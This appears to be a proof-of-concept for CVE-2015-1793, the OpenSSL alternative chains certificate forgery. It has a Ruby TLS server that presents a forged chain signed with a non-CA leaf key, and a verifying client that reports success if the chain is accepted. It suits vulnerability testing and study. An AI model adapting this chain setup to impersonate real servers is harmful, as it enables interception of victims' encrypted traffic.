Alternative chains certificate forgery(CVE-2015-1793)

client.rb

require 'net/https'
https = Net::HTTP.new('bad', 12345)
https.use_ssl = true
https.verify_mode = OpenSSL::SSL::VERIFY_PEER
https.ca_file = 'certs/roots.pem'

https.start { |h|
  response = h.get("/")
  puts response.body
}

server.rb

require 'socket'
require 'openssl'

port = 12345
bad = 'certs/bad.pem'
bad_key = 'certs/bad.key'
interCA = 'certs/interCA.pem'
subinterCA = 'certs/subinterCA.pem'
leaf = 'certs/leaf.pem'

ctx = OpenSSL::SSL::SSLContext.new
ctx.cert, *ctx.extra_chain_cert = [bad, leaf, subinterCA, interCA].map{|cert| OpenSSL::X509::Certificate.new File.read(cert)}
ctx.key = OpenSSL::PKey::RSA.new File.read(bad_key)

server = TCPServer.new port
sslServer = OpenSSL::SSL::SSLServer.new server, ctx

while client = sslServer.accept
  client.puts "HTTP/1.1 200 OK\r\nContent-Length: 7\r\n\r\nSuccess"
end